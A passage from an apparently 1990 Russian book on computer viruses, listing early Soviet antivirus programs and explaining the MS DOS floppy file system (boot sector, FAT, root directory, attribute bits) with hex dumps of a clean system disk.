ДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
Имя _ Назначение, разработчик, версии, условия распространения
ДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
AIDSTEST Полифаг, Лозинский Дмитрий Николаевич,
Москва, ГВЦ Госплана СССР, тел.(095)292-40-76(сл)
Верс.12 от 05.12.89 - СП 1.4 (FREEWARE)
Верс.18 от 10.01.90 - СП 2.1 (FREEWARE, I премия)
Верс.28 от 18.04.90 - СП 2.5 (FREEWARE)
Верс.54 от 24.10.90 - коммерч.продукт,
цена - 3 руб. (для организаций - 100 руб.)
Распр. - Научный центр СП Диалог при ВЦ АН СССР,
тел.(095)137-01-50
ANTI-KOT Полидетектор + полифаг, Котик Олег Генрихович, Москва
Версия от 28.10.89 - СП 1.2 (FREEWARE - Полидетектор)
Верс.3.60 от 07.05.90 - СП 2.5 (FREEWARE - Полидетектор)
ANTI-KOR Резидентный сторож, Котик Олег Генрихович, Москва
Верс.1.0 от 15.03.90 - СП 2.5 (FREEWARE)
Коммерческие продукты, цена 600-1000 руб.
Распространители - СП Интермикро, тел.(095)267-32-10;
НТЭЦ Сэканс, тел.(095)183-10-89
AV Полифаг, Сысоев Игорь Владимирович, Москва
Верс.1.8 от 27.02.90 - СП 2.4 (FREEWARE)
Верс.1.9 от 21.04.90 - СП 2.5 (FREEWARE)
AVB Универсальный бутовый детектор
Свиридов Игорь Анатольевич, Киев, тел.(044)263-87-70
Верс.2.11 от 04.06.90 - СП 2.6 (SHAREWARE)
CHECK Ревизор, Гонтарь Борис Борисович, Киев, тел.(044)265-68-73(сл)
Версия от 20.07.89 - СП 1.2 (FREE-SRC (С))
CHECK Ревизор, Судленков Геннадий Олегович, Минск, тел.(0172)55-84-42
Версия без даты - СП 2.7 (FREEWARE)
CHECK21 Резидентный сторож
Двоеглазов Игорь Михайлович, Киев, тел.(044)517-02-05 - суб,вск
Верс.3.3 без даты - СП 2.1 (FREEWARE, I премия)
Верс.4.5 от 30.03.90 - СП 2.4 (FREEWARE)
COM4VIR Ловушки для вирусов, Волынский Владимир Викторович,
EXE4VIR Москва, тел.(095)219-99-62
SYS4VIR Верс. от 05.03.90 - СП 2.8 (FREEWARE)
-D(-D3) Резидентный сторож,
Касперский Евгений Валентинович, Москва, тел.(095)482-60-05
Верс.1.0 от 13.03.90 - СП 2.4 (FREEWARE)
Верс.2.2 от 16.08.90 - СП 2.7, 2.8 (FREEWARE)
Верс.___ - коммерч.продукт, цена - 250 руб.
Распр. - МГП Алиса, тел.(095)248-32-52
DET-NEW Полифаг, Судленков Геннадий Олегович, Минск, тел.(0172)55-84-42
Версия без даты - СП 2.7 (FREEWARE)
DI Ревизор, НИЦ Сунгуль
Верс. от 03.04.89 - СП 2.7 (FREEWARE)
DLI Ревизор, Герасимов Вадим Викторович, Москва
Верс.1.1 от 08.12.89 - СП 1.4 (FREEWARE, I премия)
DOCTOR Полифаг, Герасимов Вадим Викторович, Москва
Верс.2.08 от 10.11.89 - СП 1.4 (FREEWARE)
DOCTOR Полифаг
Чижов Антон Андреевич, Москва, СП ПараГраф, тел.(095)200-25-66
Верс.1.34/15/11 - СП 1.4 (FREEWARE)
Верс.1.42/16/11 - СП 2.1 (FREEWARE, II премия)
IWP Резидентный фильтр, Водяник Аркадий Григорьевич, Донецк
Верс.1.33 от 08.03.90 - СП 2.3 (FREEWARE)
Верс.____- коммерч.продукт, цена - 1300 руб (без платы),
2300 руб - с платой PORT WATCH CARD
Распр. - НПК БИС, тел.(0622)93-10-21
J-CHECK Ревизор, Базалий Юрий Алексеевич, Киев, тел.(044)227-25-41
Верс.1.3 от 18.09.89 - СП 2.1 (FREE-SRC)
K16 Полифаг
Сусликов Евгений Николаевич, Кемерово, тел.(3842)23-44-03
Верс.7.0 от 19.03.90 - СП 2.5 (FREEWARE)
(K32) Верс.8.0 от 24.07.90 - СП 2.7 (FREEWARE)
LD Полидетектор
Сусликов Евгений Николаевич, Кемерово, тел.(3842)23-44-03
Верс.2.0 от 24.03.90 - СП 2.5 (FREEWARE)
Верс.2.7 от 19.07.90 - СП 2.7 (FREEWARE)
NEATFAG Полифаг
Пономаренко Виталий Витальевич, Киев, тел.(044)484-19-84
Верс. от 27.02.90 - СП 2.7 (FREEWARE)
NEATVAC Резидентная вакцина
Пономаренко Виталий Витальевич, Киев, тел.(044)484-19-84
Верс.1.0 без даты - СП 2.7 (FREEWARE)
SBM Резидентный сторож, Еременко Василий Евгеньевич,
Мостовой Борис Михайлович, Киев, тел.(044)416-13-69
Верс.1.01 от 12.12.89 - СП 1.4 (FREEWARE, I премия)
Верс.1.03 от 06.04.90 - СП 2.4 (FREEWARE)
SPEEDCHK Ревизор, Шнайдер Лев Семенович, Киев, тел.(044)274-91-87
Верс.1.0 от 08.01.90 - СП 2.1 (FREE-SRC)
TANJA Универсальный фаг, Рудаков Юрий Валерьевич,
г.Жуковский Московской обл., тел.(095)556-80-42(сл)
Верс. от 27.04.90 - СП 2.5 (FREEWARE)
UNIVAC Универсальная вакцина, Бабанин Валерий Михайлович,
Тверь, тел.(222)6-61-64
Верс.1.0 от 12.09.90 - СП 2.8 (FREEWARE - ?)
-V Полифаг
Касперский Евгений Валентинович, Москва, тел.(095)482-60-05
Верс.2.0 от 24.08.90 - СП 2.7 (FREEWARE)
Верс.___ - коммерч.продукт, цена - 500 руб.
Распр. - МГП Алиса, тел.(095)248-32-52
VDEATH Полифаг с турбоинтерфейсом, Ревзин __________________,_______
Верс.7.2 от 04.10.89 - СП 1.4 (FREEWARE)
VI Вирусный интегратор
Шеховцов Александр Людвигович, Киев, тел.(044)266-00-97(сл)
Верс.1.1 от 11.12.89 - СП 1.4 (FREEWARE)
Верс.1.2 от 25.12.89 - СП 2.1 (FREEWARE)
VITAMINB Вакцина против бутовых вирусов, Сесса Александр В.
Днепропетровск, тел.(___)__________
Верс.1.0 от 10.10.90 - СП 2.8 (FREEWARE)
VL Полидетектор с вводом сигнатур для контекстного поиска
Шеховцов Александр Людвигович, Киев, тел.(044)266-00-97(сл)
Верс.1.3 от 12.12.89 - СП 1.4 (FREEWARE)
Верс.1.4 от 23.12.89 - СП 2.1 (FREEWARE, II премия)
Верс.2.0 от 09.09.90 - СП 2.7 (FREEWARE)
VR Полифаг, Осипенко Александр Сергеевич, Москва
Верс.3.47 от 10.01.90 - СП 2.1 (FREEWARE)
Верс.____- коммерч.продукт, цена - 950 руб.
Распр. - СП Эпсилон, тел. (095)532-93-22
ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
ПРИМЕЧАНИЯ.
1. Обозначение СП указывает выпуск (том, номер) электронного
бюллетеня СОФТПАНОРАМА, содержащего данное средство. Указываются первое
и последнее включения в СП, а также участие в 1-м конкурсе
некоммерческих антивирусных средств (Киев, семинар Системное
программирование, сентябрь 1989 г. - январь 1990 г.) для призеров
конкурса.
2. Способ распространения некоммерческих средств обозначен:
FREEWARE - свободно;
FREE-SRC - свободно с исходными текстами;
SHAREWARE- с частичной субсидией пользователями
(см. о способах FREEWARE и SHAREWARE файл read.me выпуска 2.8
электронного бюллетеня СОФТПАНОРАМА)
3. Указанная цена коммерческих версий является ориентировочной и в
конкретных случаях может зависеть от дополнительных условий поставки.
4. Последняя версия всех средств указана по данным автора на
октябрь 1990 г.
5. В списке не отражены многочисленные средства, включенные в СП и
рассчитанные на борьбу с одним конкретным видов вируса.
ПРИЛОЖЕНИЕ 6
НЕКОТОРЫЕ СВЕДЕНИЯ О ФАЙЛОВОЙ СИСТЕМЕ MS DOS
Существуют два основных типа дисков, используемых в MS DOS: гибкие
диски (дискеты) и твердые диски (винчестеры). В дальнейшем мы будем
рассматривать преимущественно дискеты, поскольку отличия в организации
информации между дискетами и винчестерами незначительны и касаются, в
основном, количественных характеристик. Впрочем, количественные характе-
ристики отличаются и для разных типов дискет (5- и 3-дюймовых, одно- и
двухсторонних и проч.). Поэтому для упрощения изложения далее везде бу-
дет предполагаться дискета 360К (2 стороны по 40 треков, 9 секторов на
трек).
Информация записывается на фиксированное число концентрических
окружностей, называемых треками или дорожками, на которые может быть
выставлена магнитная головка. Их количество зависит от типа дисковода и
дискеты. Обычная 360K пятидюймовая дискета (DS/DD) расчитана на запись
40 треков на каждой стороне. Треки нумеруются, начиная с нуля, причем
трек 0 расположен ближе к внешнему краю диска (имеет наибольший
радиус), а трек 39 - к внутреннему отверстию дискеты.
Имеются дискеты и другой емкости. Так дискеты DS/QD (720K) рассчитаны
для записи 80 треков (0-79). Опыт показал, что большинство дискет
DS/DD можно успешно размечать на 80 дорожек и использовать как DS/QD без
снижения надежности записи информации. Кроме того дисковод может вести
запись на 40 и более старшие дорожки (до 43) или на 80-83. В частности
41 дорожка часто используется для защиты от копирования - часть
информации размещается на нее и пропадает при обычном копировании.
Впрочем, имеются специальные программы (COPYIIPC, COPYWRITE),
позволяющие обходить простейшую реализацию такой защиты за счет
копирования всего подряд. Бутовые вирусы также иногда используют 40
дорожку для хранения своего хвоста.
Каждый трек разделен на секторы, которые являются единицами
считывания и записи информации на диск. Любая операция чтения или записи
в конечном счете сводится к чтению или записи определенного числа
секторов. На одном треке для обычной дискеты располагаются девять
секторов. Каждый сектор обычно содержит 512 байтов. Операционная
система выделяет файлам единицы дискового пространства, называемые
кластерами. Для обычных двухсторонних дискет 360 К (DS/DD) кластер
состоит из двух секторов и имеет размер 1024 байта (1К). Даже если
размер файла меньше 1 К, операционная система выделяет файлу целый
кластер. Таким образом, кластер является минимальной единицей
распределения дискового пространства.
Количество секторов которое можно записать на дискету зависит от
качества дисковода. Обычные дисководы, позволяют записывать до 10
секторов на трек (формат 10 секторов:40 треков - 400K и 10 секторов:80
треков - 800K), а дисководы повышенного качества - 17 секторов на трек
(для дискет HD емкостью 1,2М используется разметка 80 дорожек по 15
секторов). Следует отметить, что если разметить дискету DS/DD (DS/QD) в
формате HD, то после записи информации обычно ее нельзя прочитать.
Хотя дискета имеет форму диска, операционная система рассматривает
ее как последовательность секторов от нулевого до максимального.
Последний зависит от емкости дискеты. При этом первые 12 секторов (0-11)
содержат управляющие блоки MS DOS для любого типа диска. Следует
отметить, что размеры управляющих блоков на дискете (FAT и каталога)
приведены для дискетты 360 Kb и могут отличаться от стандартных: их
размер хранится в бутсекторе и не является фиксированным.
Дальнейшее содержимое диска зависит от того, является ли он
системным или нет. Для обычного диска сектора, начиная с 12, содержат
данные.
Для системного диска сектора с 12-го заняты файлами IBMIO.COM и
IBMDOS.COM (IO.SYS и MSDOS.SYS). Эти файлы являются скрытыми и не видны
командой DIR. Для того, чтобы рассмотреть их, можно воспользоваться ути-
литами (Norton Commander, PCTools и т.д.). Помимо IBMIO.COM и IBMDOS.COM
на системном диске содержится файл COMMAND.COM (командный процессор).
Эта программа обеспечивает обработку вводимых команд и является одной из
наиболее часто используемых программ MS DOS. Поэтому она является излюб-
ленной мишенью для атаки файловыми вирусами. Дискета, содержащая
указанные три файла является минимальной конфигурацией операционной
системы MS DOS и ее удобно использовать в качестве дрозофилы для
бутовых вирусов. Поэтому приводимые в дальнейшем примеры ориентированы,
в основном на указанную минимальную конфигурацию:
ЙННННННННННННСННН A:\ НСННННННННСНННННН>
є Name _ Size _ Date _ Time є
єIbmbio °com_ 22100_ 3-17-87_12:00pє
єIbmdos °com_ 30159_ 3-17-87_12:00pє
єcommand com_ 25307_ 3-17-87_12:00pє
є _ _ _ є
Структура управляющей информации на дискете
Первые 12 секторов (0-11) содержат три управляющих таблицы:
загрузчик (BOOT), таблицу распределения файлов (FAT), и корневой
каталог (root directory). Схема расположения этих секторов приведена на
рис.1.
ЙНННСНННСНННСНННСНННСНННСНННСНННСНННСНННСНННСНННСНННСНННСН. . .НСННН>
є B _ F _ F _ F _ F _ R _ R _ R _ R _ R _ R _ R _ _ _ . . . _ є
ИНННПНННПНННПНННПНННПНННПНННПНННПНННПНННПНННПНННПНННПНННПН. . .НПННН_
а)
PC Tools Deluxe R4.30 Vol Label=None
ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДDisk Mapping ServiceДДДДДДДДДДДДДДДДДДДДДД
Path=A:\*.*
Entire disk mapped 78% free space
Track 1 1 2 2 3 3 3
0 5 0 5 0 5 0 5 9
Double sided Bhhhhhhrrr______________________________
Fhhhhhhrrr______________________________
Side 0 Fhhhhhhrr_______________________________
Dhhhhhhrr_______________________________
----Dhhhhhrrr_______________________________
Dhhhhhrrr_______________________________
Side 1 hhhhhhrrr_______________________________
hhhhhhrrr_______________________________
hhhhhhrrr_______________________________
Explanation of Codes
_ Available Allocated
B Boot record h hidden
F File Alloc Table r Read Only
D Directory x Bad Cluster
F to map files. ESC to return.
б)
Рис.1. Расположение секторов на дискете.
а: схематическое представление (границы кластеров для системных
секторов не показаны, поскольку нумерация кластеров начинается со
второго). Используемые обозначения: B - бутсектор; F - FAT; R -
корневой каталог;
б: карта, выдаваемая в режиме MAP PC Tools (в случае, если на дискете
есть сбойные кластеры, которые могут возникнуть в результате заражения
бутовым вирусом, они отчетливо видны при просмотре карты на экране
дисплая в виде мигающих символов х). Дискеты, имеющие сбойные
кластеры, должны быть дополнительно исследованы.
Бутсектор
Бутсектор всегда размещается в нулевом секторе дискеты и содержит
сведения о формате дискеты, а также короткую программу - загрузчик.
Структура бутсектора показана на рис.2. Формат рисунка соответствует
формату дампа на экране дисплея - по 16 символов в строке, что облегчает
интерпретацию дампа
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЦДДДДДДДВДДДТДДДВДДДДДДДВДДДДДДДВДДДДДДДВДДДТДДДВДДДТДДДТДДДДДДД·
00 єJMP xx xx є'I' 'B' 'M' '3' '.' '3'єSectSizєCS єResSecsє
ЗДДДТДДДЕДДДЧДДДЕДДДТДДДТДДДБДДДТДДДБДДДТДДДРДДДТДДДРДДДЧДДДБДДД¶ ДДЕДДДЩ
10 єFatєRootSizєTotSecsєMedєFatSizeєTrkSecsєHeadCntєHidnSecє є
ЗДДДРДДДЕДДДРДДДЕДДДРДДДРДДДБДДДРДДДБДДДРДДДБДДДРДДДБДДДРДДДБДДД_
20 є код загрузчика (в конце загрузчика всегда расположены диагно=
УДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
30 стические сообщения и имена системных файлов)
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
. ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДТДДДБДДД_
1F0 є 55 AA_
ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДРДДДБДДДЩ
Рис.2. Структура бутсектора
Используемые обозначения:
JMP - NEAR-переход на начало загрузчика;
8 байт, содержащих произвольную информацию, обычно заносимую
программой форматирования диска;
SectSiz - количество байтов в одном секторе;
CS (ClustSiz) - количество секторов в одном кластере;
ResSecs - количество резервных секторов (перед FAT);
Fat (FatCnt) - количество FAT;
RootSiz - макс.число 32-байтовых элементов корневого каталога;
TotSecs - общее число секторов на носителе (разделе диска);
Med (Media) - дескриптор носителя (то же, что 1-й байт FAT);
FatSize - количество секторов в одной FAT;
TrkSecs - количество секторов в одном треке;
HeadCnt - число головок чтения/записи (поверхностей);
HidnSec - количество спрятанных секторов;
- размер форматированной порции корневого сектора.
Как видно из рис.2, сведения о программе, с помощью которой
выполнялось форматирование, расположены с 4 байта.
На рис.3 показан бутсектор двухсторонней дискеты двойной
плотности (2D-2S), содержащей 40 треков и размеченный программой
FORMAT MS DOS 3.3. Бутсектор винчестера отличается только таблицей
параметров. Программа загрузчик остается неизменной. Другие версии
операционной системы имеют несколько отличающийся от приведенного
загрузчик, однако его структура неизменна: в конце сектора всегда
имеется текст диагностического сообщения и имена системных файлов (на
рис.3 - IO.SYS и MSDOS.SYS; для PC DOS используются имена IBMBIO.COM и
IBMDOS.COM). В конце бутсектор всегда содержит два идентификационных
байта : 55h AAh.
Следует обратить внимание, что первые три байта стандартного
бутсектора MS DOS 3.3 содержат EB 34 90. Несовпадение этих байтов при
просмотре бутсектора должно сразу настораживать, поскольку может
свидетельствовать о заражении вирусом.
Absolute sector 0000000, System BOOT
Disp ДДДДДДДДДДДДДДДДД Hex codesДДДДДДДДДДДДДДДДДДДД
place-00 01 02 03 04 05 06 07 08 09 0A_OB 0C 0D 0E 0F
ment _SectSiz
_ _ClustSiz
ЪДДДJMPДДї _ _ _ResSecs
_ _ _ _ _
0000:_EB 34 90_4D 53 44 4F 53 33 2E 33_00 02_02_01 00 .4.MSDOS3.3.....
0010: 02 70 00 D0 02 FD 02 00 09 00 02 00 00 00 00 00 .p..............
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 ................
0030: 00 00 00 00 01 00 FA 33 C0 8E D0 BC 00 7C 16 07 .......3.....|..
0040: BB 78 00 36 C5 37 1E 56 16 53 BF 2B 7C B9 0B 00 .x.6.7.V.S.+|...
0050: FC AC 26 80 3D 00 74 03 26 8A 05 AA 8A C4 E2 F1 ..&.=.t.&.......
0060: 06 1F 89 47 02 C7 07 2B 7C FB CD 13 72 67 A0 10 ...G...+|...rg..
0070: 7C 98 F7 26 16 7C 03 06 1C 7C 03 06 0E 7C A3 3F |..&.|...|...|.?
0080: 7C A3 37 7C B8 20 00 F7 26 11 7C 8B 1E 0B 7C 03 |.7|. ..&.|...|.
0090: C3 48 F7 F3 01 06 37 7C BB 00 05 A1 3F 7C E8 9F .H....7|....?|..
00A0: 00 B8 01 02 E8 B3 00 72 19 8B FB B9 0B 00 BE D6 .......r........
00B0: 7D F3 A6 75 0D 8D 7F 20 BE E1 7D B9 0B 00 F3 A6 }..u... ..}.....
00C0: 74 18 BE 77 7D E8 6A 00 32 E4 CD 16 5E 1F 8F 04 t..w}.j.2...^...
00D0: 8F 44 02 CD 19 BE C0 7D EB EB A1 1C 05 33 D2 F7 .D.....}.....3..
00E0: 36 0B 7C FE C0 A2 3C 7C A1 37 7C A3 3D 7C BB 00 6.|...<|.7|.=|..
00F0: 07 A1 37 7C E8 49 00 A1 18 7C 2A 06 3B 7C 40 38 ..7|.I...|*.;|@8
0100: 06 3C 7C 73 03 A0 3C 7C 50 E8 4E 00 58 72 C6 28 .<|s..<|P.N.Xr.(
0110: 06 3C 7C 74 0C 01 06 37 7C F7 26 0B 7C 03 D8 EB .<|t...7|.&.|...
0120: D0 8A 2E 15 7C 8A 16 FD 7D 8B 1E 3D 7C EA 00 00 ....|...}..=|...
0130: 70 00 AC 0A C0 74 22 B4 0E BB 07 00 CD 10 EB F2 p....t.........
0140: 33 D2 F7 36 18 7C FE C2 88 16 3B 7C 33 D2 F7 36 3..6.|....;|3..6
0150: 1A 7C 88 16 2A 7C A3 39 7C C3 B4 02 8B 16 39 7C .|..*|.9|.....9|
0160: B1 06 D2 E6 0A 36 3B 7C 8B CA 86 E9 8A 16 FD 7D .....6;|.......}
0170: 8A 36 2A 7C CD 13 C3 0D 0A 4E 6F 6E 2D 53 79 73 .6*|.....Non-Sys
0180: 74 65 6D 20 64 69 73 6B 20 6F 72 20 64 69 73 6B tem disk or disk
0190: 20 65 72 72 6F 72 0D 0A 52 65 70 6C 61 63 65 20 error..Replace
01A0: 61 6E 64 20 73 74 72 69 6B 65 20 61 6E 79 20 6B and strike any k
01B0: 65 79 20 77 68 65 6E 20 72 65 61 64 79 0D 0A 00 ey when ready...
01C0: 0D 0A 44 69 73 6B 20 42 6F 6F 74 20 66 61 69 6C ..Disk Boot fail
01D0: 75 72 65 0D 0A 00 49 4F 20 20 20 20 20 20 53 59 ure...IO SY
01E0: 53 4D 53 44 4F 53 20 20 20 53 59 53 00 00 00 00 SMSDOS SYS....
01F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U.
АДДВДДЩ
АДДД идентификационные
байты
Рис.3. Бутсектор дискеты 2D-2S, размеченной программой FORMAT
При интерпретации дампа следует обратить внимание на то, что
микропроцессор 8086 записывает в память машинное слово (2 байта)
в формате <младший байт><старший байт>. Поэтому при интерпретации
двухбайтовых полей для получения правильного значения следует
переставить байты местами. Например, поле SectSiz содержит 00 02, т.е.
его значение равно 0200h - 512 байт.
Таблица распределения файлов (FAT)
На дискетах 360К под FAT отведены четыре сектора - текущее состоя-
ние FAT в секторах 1,2 и его копия в секторах 3,4. Дискеты 720К содержат
основную FAT в секторах 1,2,3 и ее копию в секторах 4,5,6.
FAT представляет собой карту дискового пространства, распределяемо-
го под файлы, и содержит по три шестнадцатеричные цифры для каждого име-
ющегося на диске кластера. Каталог (см. ниже) содержит номер первого
кластера, занятого файлом; в свою очередь, в каждом элементе содержится
указатель на следующий кластер файла. Если кластер является последним
кластером файла, то он содержит FFF.
Таким образом, MS DOS может отслеживать последовательность класте-
ров, принадлежавших файлу, независимо от фактического расположения их на
диске. Для незанятых кластеров указатель имеет 000. Если кластер повреж-
ден и MS DOS не может считать или записать в него информацию, то такой
кластер содержит FF7 (признак сбойного кластера), и MS DOS не использует
отмеченные таким образом кластеры при распределении.
Таблица распределения файлов по сути является односвязным списком,
который DOS использует для отслеживания физического расположения данных
на диске и для поиска свободной памяти для новых файлов. Слово по смеще-
нию 1Ah в элементе оглавления содержит номер первого кластера в цепочке
распределения файла. Соответствующий элемент FAT либо указывает конец
цепочки, либо ссылается на следующий элемент, и т.д.
FAT может состоять из 12-битовых или 16-битовых элементов. 12-бито-
вые элементы используются для дискет. 16-битовые элементы FAT были вве-
дены, начиная с DOS 3.0, когда возникла необходимость управления 20-ме-
габайтным винчестером.
Поскольку 12 битовые элементы трудно анализировать на обычном
дампе, для анализа FAT целесообразно использовать Norton Utilities,
выдающую разобранный на 12 битовые элементы (полуинтерпретированный) дамп
(рис.5).
Й FAT area ННННННННННННННННННННННННННННННННННННННННННННННННННННННН FAT format Н>
є Sector 1 in 1st copy of FAT Cluster 2, hex 2 є
є є
є 3 4 5 6 7 8 9 10 11 12 13 14 є
є 15 16 17 18 19 20 21 22 23 25 26 є
є 27 28 29 30 31 32 33 34 35 36 37 38 є
є 39 40 41 42 43 44 45 46 47 48 49 50 є
є 51 52 53 55 56 57 58 59 60 61 62 є
є 63 64 65 66 67 68 69 70 71 72 73 74 є
є 75 76 77 78 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є 0 0 0 0 0 0 0 0 0 0 0 0 є
є є
є Press Enter to continue є
1Help 2Hex 3Text 4Dir 5FAT 6Partn 7 8Choose 9Undo 10QuitNU
Рис.5. Полуинтерпретированный дамп FAT минимальной DOS,
полученный с помощью Norton Utilities
На рис. 5 отчетливо видны три цепочки кластеров для трех
имеющихся в минимальной DOS файлов. Если диск был предварительно сжат,
т.е. файлы расположены друг за другом и занимают последовательные
сектора (что имеет место для дискеты с минимальной DOS), цепочки
кластеров в FAT вырождаются в возрастающую последовательность номеров и
при минимальном навыке разрушенную FAT можно восстанавить вручную.
Поэтому регулярное сжатие диска с помощью утилиты NC или COMPRESS
является приемом, значительно повышающим надежность хранения информации.
Корневой каталог
MS DOS хранит информацию о файлах в каталогах, которые образуют
древовидную структуру. Корневой каталог хранит сведения о всех содержа-
щихся в нем файлах и подкаталогах. Он занимает семь секторов, начиная с
сектора 5. Каждый элемент корневого каталога занимает 32 байта. Очевид-
но, в одном секторе может разместиться 16 элементов. Это означает, что в
семи секторах корневого каталога могут быть описаны до 112 файлов и под-
каталогов. Структура каталога показана на рис.6.
0 1 2 3 4 5 6 7 8 9 A B C D E F
ЦДДДДДДДВДДДДДДДВДДДДДДДВДДДДДДДТДДДДДДДВДДДТДДДТДДДДДДДВДДДДДДДї
00 є name є ext єatrє резерв _
ИДДДБДДДЕДДДБДДДЕДДДБДДДТДДДБДДДЧДДДБДДДТДДДРДДДЧДДДБДДДЕДДДБДДД_
10 резерв є time є date єClstrNoє размер файла _
ГДДДБДДДЕДДДБДДДЕДДДБДДДРДДДБДДДРДДДБДДДРДДДБДДДРДДДБДДДЕДДДБДДДЕ
Рис.4. Структура элемента каталога
Границы полей отмечены двойной линией. Используются следующие обозначения
(в квадратных скобках указаны смещение в 16-ричной системе счисления и
длина):
name - имя файла [+0; 8];
ext - расширение имени [+8;3];
atr - атрибут файла [+0Bh;1];
резерв [+0Ch;0Ah];
time - время создания [+16h;2];
date - дата создания [+18h;2];
ClstrNo - номер начального кластера данных (связь с FAT) [+1Ah; 2];
размер файла - размер файла в байтах [+1Ch;4];
Как видно из рис.6, имя файла состоит не более чем из восьми
символов, дополненных справа пробелами. За именем следует
факультативное трехсимвольное расширение. При длине менее трех
символов оно также дополняется пробелами.
Байт атрибутов позволяет MS DOS идентифицировать статус файла, по
которому подразумевается некоторая (с точки зрения защиты от вирусов -
иллюзорная) степень защиты от несанкционированных действий пользователя.
Не все биты байта атрибутов используются. Первый (наименее значащий) бит
показывает, что это скрытый файл (не выдается командой DIR). Второй бит
означает, что это системный файл, в отличие от пользовательских файлов.
Номер первого кластера позволяет определить место в FAT, занимаемое
файлом. Если файл является каталогом (подкаталогом), то он имеет
установленный бит 4 байта атрибутов.
Дамп главного кaталога для минимальной конфигурации приведен на
рис.7.
PC Tools Deluxe R4.30
-ДДДДДДДДДДДДДДДДДДДДДДДДДДДDisk View/Edit ServiceДДДДДДДДДДДДДДДДДДДДДДДДДДДД
Path=A:
Absolute sector 0000005, System ROOT, Disk Abs Sec 0000005
Displacement ДДДДДДДДДДДДДДДДД Hex codesДДДДДДДДДДДДДДДДДДДД ASCII value
0000(0000) 49 42 4D 42 49 4F 20 20 43 4F 4D 27 00 00 00 00 IBMBIO COM'
0016(0010) 00 00 00 00 00 00 00 60 AC 11 02 00 54 56 00 00
0032(0020) 49 42 4D 44 4F 53 20 20 43 4F 4D 27 00 00 00 00 IBMDOS COM'
0048(0030) 00 00 00 00 00 00 00 60 AC 11 18 00 CF 75 00 00
0064(0040) 43 4F 4D 4D 41 4E 44 20 43 4F 4D 21 00 00 00 00 COMMAND COM!
0080(0050) 00 00 00 00 00 00 00 60 71 0E 36 00 DB 62 00 00
0096(0060) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0112(0070) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0128(0080) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0144(0090) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0160(00A0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0176(00B0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0192(00C0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0208(00D0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0224(00E0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0240(00F0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Home=beg of file/disk End=end of file/disk
ESC=Exit PgDn=forward PgUp=back F2=chg sector num F3=edit F4=get name
Рис.7. Дамп первого сектора FAT для минимальной DOS,
полученный с помощью PC TOOLS
Поле атрибутов файла
Поле атрибутов файла позволяет присваивать файлу определенный
статус относительно тех или иных операций. Не все биты байта
атрибутов используются. Биты нумеруются с нуля. Наименее значащий
(нулевой) бит соответствует аттрибуту READ ONLY, затем идут биты,
соответствующие атрибутам HIDDEN и SYSTEM. Биты нумеруются с нуля.
Атрибут READ ONLY (только чтение) запрещает выполнение операций
удаления и модификации данного файла. Если установлен первый бит
(атрибут HIDDEN), то данный файл является так называемым скрытым файлом
(не выдается командой DIR). Второй бит означает, что это системный файл,
в отличие от пользовательских файлов. Используемые биты байта атрибутов
показаны на рис.8.
Ц7В6В5В4В3В2В1В0·
є _a_d_v_s_h_rє
УДБДБТБТБТБТБТБТ_ бит *** маска ***
є є є є є ИН 0: 1 = только чтение (READ ONLY) (01h)
є є є є ИННН 1: 1 = спрятанный (HIDDEN) (02h)
є є є ИННННН 2: 1 = системный (SYSTEM) (04h)
є є ИННННННН 3: 1 = метка тома (08h)
є ИННННННННН 4: 1 = элемент подоглавления (10h)
ИННННННННННН 5: архив. 1=копия файла НЕ архивировалась (20h)
Рис.8. Формат поля атрибутов файла
Как видно из рис.8, метка тома представляет собой просто файл со
специальным атрибутом. Одна из функций DOS (21-43h) позволяет вирусу
молча изменять любой бит байта атрибутов, включая только чтение,
что является явным дефектом реализации этой функции, существенно
облегчающим жизнь создателям вирусов. Впрочем, при отсутствии страничной
организации памяти и режима супервизора (как в старой, доброй системе
360/370), радикальных мер по исправлению этой ошибки, по сути, и
предложить нельзя.
Поля даты и времени
ЦFВEВDВCВBТAВ9В8Е7В6В5Т4В3В2В1В0·
є час є минута є сек/2 є
УДБДБДБДБДРДБДБДЕДБДБДРДБДБДБДБД_
